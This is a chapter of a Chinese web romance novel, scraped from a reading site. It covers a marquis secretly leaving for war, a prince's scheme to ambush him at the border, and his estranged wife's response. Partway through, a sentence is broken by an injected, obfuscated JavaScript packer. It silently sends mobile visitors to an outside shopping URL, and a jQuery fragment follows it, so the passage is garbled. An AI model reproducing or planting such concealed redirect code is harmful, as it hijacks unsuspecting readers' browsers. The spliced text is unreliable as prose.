文趣网 > 其他小说 > 成亲后夫君他又争又抢 > 50. 第 50 章
    陆轻鸿起身去抓陈昭宁的手臂,因为内心慌乱,他一时间没能控制好力道,陈昭宁的手疼得一缩,但没听到她的痛呼声。

    她正紧紧咬着后槽牙,稍微松懈一点便会难过到哭出来。

    陆轻鸿才松了手劲,陈昭宁便立刻甩袖,头也不回地牵着裙摆朝外跑。他望着她头上随风摇曳的珠翠,误以为自己好像放飞了一只养了许久的小蝴蝶。

    陆江风恨不能掀翻面前的小桌,等陈昭宁跑远后,他才沉声质问,“把人气走,你满意了?”

    “嗯。”陆轻鸿单手扶额,轻合双眼,“与其让她盼着我的归期,不如放她自由。”

    “兄长,我愿意与你出生入死,若是战况紧急,我可同去!”

    “不可能,你死了这条心。”陆轻鸿想也不想地拒绝他。

    “侯府日后还要你帮衬着。我知你对她有感情,若是我回不来,且她心悦你……我不反对。”

    陆江风抿紧嘴唇,“兄长,你不许说这种不吉利的话。你一定要平安归来。”

    “嗯。我只是向来做好最坏的打算。你我是至亲兄弟,她若能交给你,我很放心。不过那是我死后的事情,你也别得意忘形。”

    陆江风见陆轻鸿还有心思说这些有的没的,心情也跟着好了起来,“那你一定要回来,我们公平竞争。”

    “我想你搞错了,昭宁她现在还是我名义上的妻。你只是她的小叔子而已,上不得台面,你拿什么跟我公平竞争。”

    “……”好有道理,竟无法反驳。

    突然陆江风心里生出一个很邪恶的念头,就算要挖人墙角,一是得工具利索,二是得有足够的时间培养感情。他现在才哪到哪。陆轻鸿最好等他胜券在握了再回。

    “那什么,你忙完了其实也不必急着回,伽罗国好吃好玩的也可多体验体验。”

    “呵。”陆轻鸿忽然冷笑一声,不置可否。

    夜深人静,陆轻鸿抱臂斜倚在陈昭宁在公主府的主屋外,将头靠在门框上。他悄无声息地伫立许久,像是不会动的雕塑。

    没有人知道他的到来。

    他想,陈昭宁坏了他们洞房花烛夜的好气氛,他也毁了他们头一回阖家团圆的大好时光,倒是谁也没吃亏。

    他带领的队伍预计是十日后出行,京城的百姓会沿街相送。陆轻鸿知道陈昭宁就算再生气他的所作所为,也定会前去,兴许还会提前占个好位置,既不让自己发现她的目光,却又能将自己离去的身影牢牢铭记在心中。

    至少陆轻鸿会这么期待着。

    倘若他回头,看见她眼中的不舍,也许便给他套上了再也挣脱不开的枷锁,他情愿一辈子守在她的身边,泯然众人不问世事。

    但他不能。

    所以,他连陆江风都一并隐瞒,今晚他便带着他的苍狼卫,早一步西行。

    早一刻离开京城这繁华富庶之地、离开陈昭宁身边这样迷人心智的温柔乡。

    陈昭宁一连多日闷在公主府中,外头的消息因她的吩咐传不进来。可是关于宣武侯离京的讯息化成了一阵风,拦也拦不住,最终仍旧吹到了陈昭宁的耳畔。

    “不去。那人走不走,与我何干?”陈昭宁赌气般地自言自语。

    并没有人问她的打算,是她欲盖弥彰,心口不一。

    得去送送的,战场上局势诡谲多变,陆轻鸿就算再神勇无双,她还是会担心有那个万一中的万一。

    陈昭宁想,他们还有一场没来得及开始的架没吵,他不能回不来,他必须回来。如此才能分清对错,一刀两断。

    池塘里的锦鲤比上回见的时候苗条了不少,看起来正常得多,水中游动的姿态更为飘逸轻盈。

    陈昭宁手中的鱼食犹豫了半晌,还是没有倒下去。

    “平时就是太让着你们,我分明也是有脾气的。”

    *

    萧思敬与萧元衡陪在萧进左右,垂首倾听萧进送别将士们的话语。

    恢宏雄厚的誓师气势直冲云天,连天子脚下的大地也为之震颤。

    天空澄澈明净,万里无云,阳光照射在或崭新或陈旧的战袍盔甲上,闪耀着如出一辙的光芒。

    这边庄严肃穆的仪式才结束,萧思敬刻意拦了拦准备离开的萧元衡,“宣武侯这会儿想必已经快到两国交界地了吧?”

    “算算日子,应该差不多。”

    萧思敬幸灾乐祸地说道,“听闻伽罗国近期多了一伙穷凶极恶的亡命之徒,专门在边境地区捣乱。宣武侯一行不过几十人,不知能否化险为夷。”

    萧元衡就是再迟钝,此刻也听出了萧思敬的阴谋。他想派人阻截伏击陆轻鸿,为的恐怕不是别的,只是为了削弱他承王的势力。

    “他身边的都是苍狼卫中的佼佼者,二哥大可以放心。”

    “比刀剑这些,匪盗定然不成威胁。可是在处处是悬崖峭壁的山地中,宣武侯插翅也难逃。若真是一个不小心摔下去了,恐怕会尸骨无存。”

    “宣武侯若是出事,伽罗国那边要如何应对!”萧元衡难得语气激动,他温润的神情第一次出现裂痕。

    萧思敬对他的反应很是受用,笑得愈发真心,“他死了,还有孙将军,孙将军不行,还有陆江风上赶着替他报仇。这么说来,我炎国可真是人才济济啊。”

    萧元衡眸光一闪,“伽罗国递来的消息,到底是不是真的?”

    “这时候才问,也不知你是聪明还是傻。可惜我从一开始就没打算留下把柄给你去查,你就认命吧。”萧思敬拍了拍萧元衡的肩膀。

    萧元衡呼吸紊乱了一瞬,原来这一切都是为了折损陆轻鸿而布下的局。他竟然出现了如此疏忽!

    是他太过狂妄自大,将萧思敬想得太过愚蠢。可这个教训,会否太过沉重?

    “等等!”萧元衡叫住了险些走远的萧思敬,“你许了伽罗国什么好处?”

    萧思敬顿足回首,“本宫好歹也是储君,怎么会做出愧对我炎国的事情?不过是蒙骗了一个没长脑子的小公主,说要送她一个如意郎君罢了。”

    “宣武侯绝不是会轻易低头之人!”

    “是吗?在炎国,他不谋反就永远只能是臣子。可在伽罗国,他可以是皇帝的女婿,按照那边的律法,他同样可以继承大统。试问谁能拒绝这等天大的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790043|205445||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好处?”萧思敬的冷血直白让萧元衡说不出反驳的话来。

    这一步棋,既让萧元衡失了军权,又不费一兵一卒,属实做得漂亮。

    大凉大军压境之事可大可小,只要皇帝不亲临现场,从前线传来的消息,想要做文章可太容易了。

    萧元衡痛定思痛,再不敢轻视萧思敬。

    可是,摆在眼前的一大难题,是他该如何向陈昭宁说明陆轻鸿的下落。他们感情如此好,陈昭宁定然受不了这个打击。

    *

    “夫人,您这是要回公主府吗?刚刚送行的队伍好热闹,唢呐吹得我头都要炸开了。”小满绕开重重人群,走到了陈昭宁身旁。

    “你不在侯府干活儿,怎么到这来了?”谷雨先一步反问她,不给她与陈昭宁说话的机会。

    “侯爷出征可是大事,侯府上下都得来送他呀,不然我们怎么对得起每月下发的俸禄?”

    谷雨本就是沉默少言的性子,对上牙尖嘴利的小满,几乎没有胜利的可能,“……”

    “谷雨姐姐,你是不知道。这阵子可累坏我和赵伯了,一些下人仗着没有主子在,想方设法地躲懒,我们俩根本管不过来。要是夫人肯回去镇镇场子就好了。”小满边说,边拿视线悄悄打量陈昭宁。

    谷雨不敢替陈昭宁做主,她看不出陈昭宁对搬回侯府的态度究竟如何。

    “侯府若都是这样的下人,侯爷不在,我去了也是被欺负的份。小满,我舍不得让你额外费心周全。”陈昭宁缓缓说话,委婉地拒绝了小满的求助。

    不就是想迎她回府吗?肯定是陆轻鸿的授意。她偏不。

    “夫人,您就当可怜可怜我和赵伯,偶尔回去转转也行呀?”小满可怜兮兮地扯了扯她的衣袖。

    “既然在侯府如此举步维艰,不如你来公主府可好?咱们公主府规矩少,也自在。”谷雨确认了陈昭宁的态度后,笑着对小满说道,“反正都是一家人,在哪都是伺候你们夫人。”

    “……”小满尴尬地笑了一声,“那、那还是算了,我这一走,侯府下人们都要翻天了,赵伯年纪也大了。”

    陈昭宁在小满的目送下,离开了人潮如织的主干道。

    公主府的花厅里,多了一位陈昭宁意外的客人。

    “昭昭!好久不见!”萧乐仪一见着她就从凳子上起身,上前打招呼。

    她明媚的脸蛋比陈昭宁记忆中要黑不少,像是一整个夏季被太阳灼晒的成果。

    “你怎么回京了?什么时候回来的?”陈昭宁惊喜地问她。

    “这不是回来过中秋吗?我娘好不容易出来了,总得陪陪她。而且我数月以来箭术突飞猛进,师父日日拍大腿直夸我有天赋,我正打算趁着围猎的机会,给大家露一手。”

    萧乐仪边说边摆出了一个拉弓的姿势,“像这样,我能一口气发出三把箭矢,虽然还不能百步穿杨,但猎野猪应该挺适合。围猎你要去看我的表现吧?我听闻你成日闷在公主府,多无聊啊,去吧去吧?”

    “……”陈昭宁当惯了无所事事的闲人,没觉得日子难熬,但是架不住萧乐仪没完没了地哀求,她还是答应了。